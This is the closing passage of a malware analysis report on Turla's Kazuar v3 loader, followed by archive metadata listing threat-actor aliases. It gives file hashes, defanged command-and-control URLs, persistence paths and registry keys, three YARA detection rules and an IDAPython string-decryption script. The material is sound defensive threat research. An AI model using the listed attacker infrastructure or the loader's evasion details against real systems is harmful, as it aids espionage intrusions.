-\r\n69908f05b436bd97baae56296bf9b9e734486516f9bb9938c2b8752e152315d4 hpbprndiLOC.dll Hsauxvhwcpicf.dll\r\n866824f2474ad603576b12b83831b2acc12d378f0ef4d0b20df10639b04c44da jtjdypzmb.yqg IbadessasGrvionana.exe\r\nbefa1695fcee9142738ad34cb0bfb453906a7ed52a73e2d665cf378775433aa8 jayb.dadk -\r\nc1f278f88275e07cc03bd390fe1cbeedd55933110c6fd16de4187f4c4aaf42b9\r\n- (KERNEL\r\nKazuar v3)\r\nTyntGextctidv.exe\r\n458ca514e058fccc55ee3142687146101e723450ebd66575c990ca55f323c769 kgjlj.sil -\r\n436cfce71290c2fc2f2c362541db68ced6847c66a73b55487e5e5c73b0636c85\r\n- (WORKER\r\nKazuar v3)\r\nSthtbMexprVacu.exe\r\nb755e4369f1ac733da8f3e236c746eda94751082a3031e591b6643a596a86acb pkrfsu.ldy -\r\n6eb31006ca318a21eb619d008226f08e287f753aec9042269203290462eaa00d\r\n- (BRIDGE\r\nKazuar v3)\r\nCokeCefshsVeit.exe\r\nIP addresses:\r\nDNS addresses:\r\nC2 URLs:\r\nhttps://download.originalapk[.]com/wp-content/plugins/loginizer/styles/\r\nhttps://portal.northernfruit[.]com/wp-content/plugins/file-away/core/\r\nhttps://arianeconseil[.]online/wp-includes/sitemaps/html/\r\nWindows directories:\r\n%LOCALAPPDATA%\\Programs\\HP\\Printer\\Drive\r\nC:\\ProgramData\\WindowsSupport\\Packages\\Drivers\r\nC:\\ProgramData\\WindowsGraphicalDevice\r\nWindows files:\r\n%LOCALAPPDATA%\\Temp\\dksuluc.hpn\r\n%LOCALAPPDATA%\\Programs\\HP\\Printer\\Drive\\hpbprndiLOC.dll\r\n%LOCALAPPDATA%\\Programs\\HP\\Printer\\Drive\\jayb.dadk\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 13 of 20\n\n%LOCALAPPDATA%\\Programs\\HP\\Printer\\Drive\\kgjlj.sil\r\n%LOCALAPPDATA%\\Programs\\HP\\Printer\\Drive\\pkrfsu.ldy\r\nC:\\ProgramData\\WindowsSupport\\Packages\\Drivers\\jtjdypzmb.yqg\r\nWindows Registry:\r\nHKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{D6BCEDD7-8E53-4769-9826-24954C975AAC}\r\nHKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{045CE7DB-2160-4067-BB86-0D54E20FA95D}\r\nHKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{5806CA31-7A57-4125-AC69-4D597BD5FE38}\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{D6BCEDD7-8E53-4769-9826-24954C975AAC}\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{045CE7DB-2160-4067-BB86-0D54E20FA95D}\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{5806CA31-7A57-4125-AC69-4D597BD5FE38}\r\nYara Rules\r\nNative Loader:\r\nimport \"pe\"\r\nrule turla_kazuar_v3_native_loader\r\n{\r\n meta:\r\n author = \"Dominik Reichel\"\r\n description = \"Detects Turla's Kazuar v3 native loader\"\r\n date = \"2026-01-12\"\r\n reference = \"https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\"\r\n strings:\r\n $a0 = \"%d:%08X\"\r\n $a1 = \"Software\\\\Classes\\\\\" wide\r\n \r\n $b0 = {7B 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00\r\n condition:\r\n uint16(0) == 0x5A4D and\r\n uint32(uint32(0x3C)) == 0x00004550 and\r\n all of ($a*) and\r\n b0 \u003e= 3 and\r\n pe.imports(\"dbghelp.dll\", \"SymInitialize\") and\r\n pe.imports(\"dbghelp.dll\", \"SymCleanup\") and\r\n pe.imports(\"oleaut32.dll\", \"SafeArrayAccessData\") and\r\n pe.imports(\"oleaut32.dll\", \"SafeArrayUnaccessData\") and\r\n pe.imports(\"ole32.dll\", \"StringFromCLSID\") and\r\n pe.imports(\"ole32.dll\", \"CLSIDFromProgID\") and\r\n pe.imports(\"ole32.dll\", \"CLSIDFromString\") and\r\n pe.imports(\"ole32.dll\", \"CoUninitialize\")\r\n}\r\nCOM-Visible Assembly:\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 14 of 20\n\nimport \"pe\"\r\nrule turla_kazuar_v3_com_visible_app\r\n{\r\n meta:\r\n author = \"Dominik Reichel\"\r\n description = \"Detects Turla's Kazuar v3 COM-visible application\"\r\n date = \"2026-01-12\"\r\n reference = \"https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\"\r\n strings:\r\n $a0 = \"GetDelegateForFunctionPointer\"\r\n $a1 = \"StackFrame\"\r\n $a2 = \"GuidAttribute\"\r\n $a3 = \"ComVisibleAttribute\"\r\n $a4 = \"ClassInterfaceAttribute\"\r\n $a5 = \"UnmanagedFunctionPointerAttribute\"\r\n $a6 = \"CompilerGeneratedAttribute\"\r\n $a7 = \"System.Reflection\"\r\n $a8 = \"CallingConvention\"\r\n $a9 = \"TargetInvocationException\"\r\n $a10 = \"get_InnerException\"\r\n $b0 = \"ResourceManager\"\r\n condition:\r\n uint16(0) == 0x5A4D and\r\n uint32(uint32(0x3C)) == 0x00004550 and\r\n pe.imports(\"mscoree.dll\", \"_CorDllMain\") and\r\n all of ($a*) and\r\n filesize \u003c 100KB and not\r\n $b0\r\n}\r\nKazuar v3 (KERNEL, WORKER, BRIDGE):\r\nimport \"pe\"\r\nrule turla_kazuar_v3\r\n{\r\n meta:\r\n author = \"Dominik Reichel\"\r\n description = \"Detects Turla's KERNEL, WORKER and BRIDGE Kazuar v3\"\r\n date = \"2026-01-12\"\r\n reference = \"https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-loader/\"\r\n strings:\r\n $a0 = \"FxResources.System.Buffers\"\r\n $a1 = \"FxResources.System.Numerics.Vectors\"\r\n $a2 = \"Google.Protobuf.Reflection\"\r\n $a3 = \"Google.Protobuf.WellKnownTypes\"\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 15 of 20\n\n$a4 = \"Microsoft.CodeAnalysis\"\r\n $a5 = \"System.Diagnostics.CodeAnalysis\"\r\n $a6 = \"System.Runtime.InteropServices\"\r\n $b0 = \"RequestElection\"\r\n $b1 = \"LeaderShutdown\"\r\n $b2 = \"ClientAnnouncement\"\r\n $b3 = \"LeaderAnnouncement\"\r\n $b4 = \"Silence\"\r\n $c0 = \"ExchangeWebServices\"\r\n $c1 = \"WebSocket\"\r\n $c2 = \"HTTP\"\r\n $d0 = \"AUTOS\"\r\n $d1 = \"GET_CONFIG\"\r\n $d2 = \"PEEP\"\r\n $d3 = \"CHECK\"\r\n $d4 = \"KEYLOG\"\r\n $d5 = \"SYN\"\r\n $d6 = \"TASK_RESULT\"\r\n $d7 = \"CHECK_RESULT\"\r\n $d8 = \"CONFIG\"\r\n $d9 = \"SEND\"\r\n $d10 = \"TASK_KILL\"\r\n $d11 = \"SEND_RESULT\"\r\n $d12 = \"TASK\"\r\n condition:\r\n uint16(0) == 0x5A4D and\r\n uint32(uint32(0x3C)) == 0x00004550 and\r\n pe.imports(\"mscoree.dll\", \"_CorExeMain\") and\r\n (\r\n (\r\n 4 of ($a*) and\r\n 2 of ($b*)\r\n ) or\r\n (\r\n 5 of ($a*) and\r\n all of ($c*)\r\n ) or\r\n (\r\n 5 of ($a*) and\r\n 9 of ($d*)\r\n ) or\r\n (\r\n 2 of ($b*) and\r\n 2 of ($c*)\r\n ) or\r\n (\r\n 2 of ($b*) and\r\n 6 of ($d*)\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 16 of 20\n\n) or\r\n (\r\n all of ($b*)\r\n ) or\r\n (\r\n 10 of ($d*)\r\n )\r\n )\r\n}\r\nAppendix\r\nIDAPython strings decryption script:\r\n\"\"\"\r\nIDA Python script to decrypt strings in Turla's Kazuar v3 loader\r\nSample SHA-256: 69908f05b436bd97baae56296bf9b9e734486516f9bb9938c2b8752e152315d4\r\nTested with IDA Pro 9.1\r\n\"\"\"\r\nimport idautils\r\nimport idaapi\r\nimport idc\r\nfrom dataclasses import dataclass\r\nfrom typing import Optional\r\nfrom enum import Enum, auto\r\nclass Algorithm(Enum):\r\n ONE = auto()\r\n TWO = auto()\r\nDECRYPTION_FUNCTIONS = [\r\n (Algorithm.ONE, 0x1D4CBCA30),\r\n (Algorithm.ONE, 0x1D4CBC190),\r\n (Algorithm.TWO, 0x1D4CBC3E0)\r\n]\r\n@dataclass\r\nclass DecryptionData:\r\n encrypted_string_address: Optional[str] = None\r\n encrypted_string_length: Optional[str] = None\r\n key_1: Optional[str] = None # Algorithm 1\r\n key_2: Optional[str] = None # Algorithm 1\r\n key_3: Optional[str] = None # Algorithm 1\r\n def is_complete(self, algo: Algorithm) -\u003e bool:\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 17 of 20\n\nresult = False\r\n if algo == Algorithm.ONE:\r\n result = None not in (\r\n self.encrypted_string_address,\r\n self.encrypted_string_length,\r\n self.key_1,\r\n self.key_2,\r\n self.key_3\r\n )\r\n elif algo == Algorithm.TWO:\r\n result = (self.encrypted_string_address is not None and\r\n self.encrypted_string_length is not None)\r\n return result\r\ndef is_number(str_num: str) -\u003e bool:\r\n result = True\r\n try:\r\n float(str_num)\r\n except ValueError:\r\n result = False\r\n return result\r\ndef set_decompilation_comment(comment: str, address: int) -\u003e None:\r\n # Copy\u0026pasted and adjusted from:\r\n # https://github.com/GDATAAdvancedAnalytics/IDA-Python/blob/master/Trickbot/stringDecryption.py#L104\r\n cfunc = idaapi.decompile(address)\r\n eamap = cfunc.get_eamap()\r\n decomp_obj_address = eamap[address][0].ea\r\n tl = idaapi.treeloc_t()\r\n tl.ea = decomp_obj_address\r\n comment_set = False\r\n for itp in range(idaapi.ITP_SEMI, idaapi.ITP_COLON):\r\n tl.itp = itp\r\n cfunc.set_user_cmt(tl, comment)\r\n cfunc.save_user_cmts()\r\n _ = cfunc.__str__()\r\n if not cfunc.has_orphan_cmts():\r\n comment_set = True\r\n cfunc.save_user_cmts()\r\n break\r\n cfunc.del_orphan_cmts()\r\n if not comment_set:\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 18 of 20\n\nprint(f'[-] Please set {comment} to line {hex(int(address))} manually')\r\ndef decrypt(data: DecryptionData, algo: Algorithm) -\u003e str:\r\n result = ''\r\n encrypted_string = idc.get_bytes(int(data.encrypted_string_address, 16),\r\n int(data.encrypted_string_length, 16))\r\n if algo == Algorithm.ONE:\r\n k1, k2, k3 = (bytes.fromhex(getattr(data, f'key_{i}'))[0] for i in range(1, 4))\r\n for x in range(len(encrypted_string)):\r\n k3 = k2 + (k1 * k3 \u0026 0xFF) \u0026 0xFF\r\n xored = k3 ^ encrypted_string[x]\r\n result += chr(xored)\r\n elif algo == Algorithm.TWO:\r\n k1 = 0x8B5AA471\r\n k2 = 0x19660D\r\n k3 = 0x3C6EF35F\r\n for x in range(len(encrypted_string)):\r\n if (x \u0026 3) == 0:\r\n k1 = (k3 + (k2 * k1)) \u0026 0xFFFFFFFF\r\n xor_key = (k1 \u003e\u003e ((x \u0026 3) \u003c\u003c 3)) \u0026 0xFF\r\n xored = xor_key ^ encrypted_string[x]\r\n result += chr(xored)\r\n return result\r\ndef normalize_operand(value: str) -\u003e str:\r\n result = value.removesuffix('h').lstrip('0') or '0'\r\n return result[-2:].zfill(2)\r\ndef assign_if_empty(attr_name: str, value: str) -\u003e bool:\r\n if not getattr(df_obj, attr_name):\r\n setattr(df_obj, attr_name, normalize_operand(value))\r\n return True\r\n return False\r\nfor algorithm, decryption_function in DECRYPTION_FUNCTIONS:\r\n xrefs = idautils.CodeRefsTo(decryption_function, 1)\r\n for ref in xrefs:\r\n current_instruction = ida_ua.insn_t()\r\n ea = prev_head(ref)\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 19 of 20\n\ndf_obj = DecryptionData()\r\n while True:\r\n ida_ua.decode_insn(current_instruction, ea)\r\n \r\n mnemonic = current_instruction.get_canon_mnem()\r\n operand_1 = idc.print_operand(ea, 0)\r\n operand_2 = idc.print_operand(ea, 1)\r\n if mnemonic == 'lea' and operand_1 == 'rcx' and operand_2.startswith('unk_'):\r\n if not df_obj.encrypted_string_address:\r\n df_obj.encrypted_string_address = operand_2.removeprefix('unk_')\r\n elif algorithm == Algorithm.ONE and mnemonic == 'mov':\r\n if operand_1 == 'r8d' and not df_obj.encrypted_string_length:\r\n df_obj.encrypted_string_length = normalize_operand(operand_2)\r\n elif operand_1 == 'r9d' and not df_obj.key_1:\r\n df_obj.key_1 = normalize_operand(operand_2)\r\n elif operand_1.startswith(('dword ptr [rsp+', '[rsp+')) and (\r\n operand_2.endswith('h') or is_number(operand_2)):\r\n if not assign_if_empty('key_2', operand_2):\r\n assign_if_empty('key_3', operand_2)\r\n elif algorithm == Algorithm.TWO and mnemonic == 'mov':\r\n if operand_1 == 'edx' and not df_obj.encrypted_string_length:\r\n df_obj.encrypted_string_length = normalize_operand(operand_2)\r\n if df_obj.is_complete(algorithm):\r\n break\r\n ea = prev_head(ea)\r\n decrypted_string = decrypt(df_obj, algorithm)\r\n set_decompilation_comment(decrypted_string, ref)\r\n print(f'{hex(ref)}: {decrypted_string}')\r\nSource: https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nhttps://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://r136a1.dev/2026/01/14/command-and-evade-turlas-kazuar-v3-loader/"
	],
	"report_names": [
		"command-and-evade-turlas-kazuar-v3-loader"
	],
	"threat_actors": [
		{
			"id": "8aaa5515-92dd-448d-bb20-3a253f4f8854",
			"created_at": "2024-06-19T02:03:08.147099Z",
			"updated_at": "2026-04-10T02:00:03.685355Z",
			"deleted_at": null,
			"main_name": "IRON HUNTER",
			"aliases": [
				"ATK13 ",
				"Belugasturgeon ",
				"Blue Python ",
				"CTG-8875 ",
				"ITG12 ",
				"KRYPTON ",
				"MAKERSMARK ",
				"Pensive Ursa ",
				"Secret Blizzard ",
				"Turla",
				"UAC-0003 ",
				"UAC-0024 ",
				"UNC4210 ",
				"Venomous Bear ",
				"Waterbug "
			],
			"source_name": "Secureworks:IRON HUNTER",
			"tools": [
				"Carbon-DLL",
				"ComRAT",
				"LightNeuron",
				"Mosquito",
				"PyFlash",
				"Skipper",
				"Snake",
				"Tavdig"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "42a6a29d-6b98-4fd6-a742-a45a0306c7b0",
			"created_at": "2022-10-25T15:50:23.710403Z",
			"updated_at": "2026-04-10T02:00:05.281246Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"Whisper Spider"
			],
			"source_name": "MITRE:Silence",
			"tools": [
				"Winexe",
				"SDelete"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "a97cf06d-c2e2-4771-99a2-c9dee0d6a0ac",
			"created_at": "2022-10-25T16:07:24.349252Z",
			"updated_at": "2026-04-10T02:00:04.949821Z",
			"deleted_at": null,
			"main_name": "Turla",
			"aliases": [
				"ATK 13",
				"Belugasturgeon",
				"Blue Python",
				"CTG-8875",
				"G0010",
				"Group 88",
				"ITG12",
				"Iron Hunter",
				"Krypton",
				"Makersmark",
				"Operation Epic Turla",
				"Operation Moonlight Maze",
				"Operation Penguin Turla",
				"Operation Satellite Turla",
				"Operation Skipper Turla",
				"Operation Turla Mosquito",
				"Operation WITCHCOVEN",
				"Pacifier APT",
				"Pensive Ursa",
				"Popeye",
				"SIG15",
				"SIG2",
				"SIG23",
				"Secret Blizzard",
				"TAG-0530",
				"Turla",
				"UNC4210",
				"Venomous Bear",
				"Waterbug"
			],
			"source_name": "ETDA:Turla",
			"tools": [
				"ASPXSpy",
				"ASPXTool",
				"ATI-Agent",
				"AdobeARM",
				"Agent.BTZ",
				"Agent.DNE",
				"ApolloShadow",
				"BigBoss",
				"COMpfun",
				"Chinch",
				"Cloud Duke",
				"CloudDuke",
				"CloudLook",
				"Cobra Carbon System",
				"ComRAT",
				"DoublePulsar",
				"EmPyre",
				"EmpireProject",
				"Epic Turla",
				"EternalBlue",
				"EternalRomance",
				"GoldenSky",
				"Group Policy Results Tool",
				"HTML5 Encoding",
				"HyperStack",
				"IcedCoffee",
				"IronNetInjector",
				"KSL0T",
				"Kapushka",
				"Kazuar",
				"KopiLuwak",
				"Kotel",
				"LOLBAS",
				"LOLBins",
				"LightNeuron",
				"Living off the Land",
				"Maintools.js",
				"Metasploit",
				"Meterpreter",
				"MiamiBeach",
				"Mimikatz",
				"MiniDionis",
				"Minit",
				"NBTscan",
				"NETTRANS",
				"NETVulture",
				"Neptun",
				"NetFlash",
				"NewPass",
				"Outlook Backdoor",
				"Penquin Turla",
				"Pfinet",
				"PowerShell Empire",
				"PowerShellRunner",
				"PowerShellRunner-based RPC backdoor",
				"PowerStallion",
				"PsExec",
				"PyFlash",
				"QUIETCANARY",
				"Reductor RAT",
				"RocketMan",
				"SMBTouch",
				"SScan",
				"Satellite Turla",
				"SilentMoon",
				"Sun rootkit",
				"TTNG",
				"TadjMakhal",
				"Tavdig",
				"TinyTurla",
				"TinyTurla Next Generation",
				"TinyTurla-NG",
				"Topinambour",
				"Tunnus",
				"Turla",
				"Turla SilentMoon",
				"TurlaChopper",
				"Uroburos",
				"Urouros",
				"WCE",
				"WITCHCOVEN",
				"WhiteAtlas",
				"WhiteBear",
				"Windows Credential Editor",
				"Windows Credentials Editor",
				"Wipbot",
				"WorldCupSec",
				"XTRANS",
				"certutil",
				"certutil.exe",
				"gpresult",
				"nbtscan",
				"nbtstat",
				"pwdump"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "eb5915d6-49a0-464d-9e4e-e1e2d3d31bc7",
			"created_at": "2025-03-29T02:05:20.764715Z",
			"updated_at": "2026-04-10T02:00:03.851829Z",
			"deleted_at": null,
			"main_name": "GOLD WYMAN",
			"aliases": [
				"Silence "
			],
			"source_name": "Secureworks:GOLD WYMAN",
			"tools": [
				"Silence"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a97fee0d-af4b-4661-ae17-858925438fc4",
			"created_at": "2023-01-06T13:46:38.396415Z",
			"updated_at": "2026-04-10T02:00:02.957137Z",
			"deleted_at": null,
			"main_name": "Turla",
			"aliases": [
				"TAG_0530",
				"Pacifier APT",
				"Blue Python",
				"UNC4210",
				"UAC-0003",
				"VENOMOUS Bear",
				"Waterbug",
				"Pfinet",
				"KRYPTON",
				"Popeye",
				"SIG23",
				"ATK13",
				"ITG12",
				"Group 88",
				"Uroburos",
				"Hippo Team",
				"IRON HUNTER",
				"MAKERSMARK",
				"Secret Blizzard",
				"UAC-0144",
				"UAC-0024",
				"G0010"
			],
			"source_name": "MISPGALAXY:Turla",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "d11c89bb-1640-45fa-8322-6f4e4053d7f3",
			"created_at": "2022-10-25T15:50:23.509601Z",
			"updated_at": "2026-04-10T02:00:05.277674Z",
			"deleted_at": null,
			"main_name": "Turla",
			"aliases": [
				"Turla",
				"IRON HUNTER",
				"Group 88",
				"Waterbug",
				"WhiteBear",
				"Krypton",
				"Venomous Bear",
				"Secret Blizzard",
				"BELUGASTURGEON"
			],
			"source_name": "MITRE:Turla",
			"tools": [
				"PsExec",
				"nbtstat",
				"ComRAT",
				"netstat",
				"certutil",
				"KOPILUWAK",
				"IronNetInjector",
				"LunarWeb",
				"Arp",
				"Uroburos",
				"PowerStallion",
				"Kazuar",
				"Systeminfo",
				"LightNeuron",
				"Mimikatz",
				"Tasklist",
				"LunarMail",
				"HyperStack",
				"NBTscan",
				"TinyTurla",
				"Penquin",
				"LunarLoader"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "88e53203-891a-46f8-9ced-81d874a271c4",
			"created_at": "2022-10-25T16:07:24.191982Z",
			"updated_at": "2026-04-10T02:00:04.895327Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"ATK 86",
				"Contract Crew",
				"G0091",
				"TAG-CR8",
				"TEMP.TruthTeller",
				"Whisper Spider"
			],
			"source_name": "ETDA:Silence",
			"tools": [
				"EDA",
				"EmpireDNSAgent",
				"Farse",
				"Ivoke",
				"Kikothac",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Meterpreter",
				"ProxyBot",
				"ReconModule",
				"Silence.Downloader",
				"TiniMet",
				"TinyMet",
				"TrueBot",
				"xfs-disp.exe"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "236a8303-bf12-4787-b6d0-549b44271a19",
			"created_at": "2024-06-04T02:03:07.966137Z",
			"updated_at": "2026-04-10T02:00:03.706923Z",
			"deleted_at": null,
			"main_name": "IRON TILDEN",
			"aliases": [
				"ACTINIUM ",
				"Aqua Blizzard ",
				"Armageddon",
				"Blue Otso ",
				"BlueAlpha ",
				"Dancing Salome ",
				"Gamaredon",
				"Gamaredon Group",
				"Hive0051 ",
				"Primitive Bear ",
				"Shuckworm ",
				"Trident Ursa ",
				"UAC-0010 ",
				"UNC530 ",
				"WinterFlounder "
			],
			"source_name": "Secureworks:IRON TILDEN",
			"tools": [
				"Pterodo"
			],
			"source_id": "Secureworks",
			"reports": null
		}
	],
	"ts_created_at": 1775434897,
	"ts_updated_at": 1775792224,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/53c65ab9c07e0f0ff915aff028fd63a676b9b743.pdf",
		"text": "https://archive.orkl.eu/53c65ab9c07e0f0ff915aff028fd63a676b9b743.txt",
		"img": "https://archive.orkl.eu/53c65ab9c07e0f0ff915aff028fd63a676b9b743.jpg"
	}
}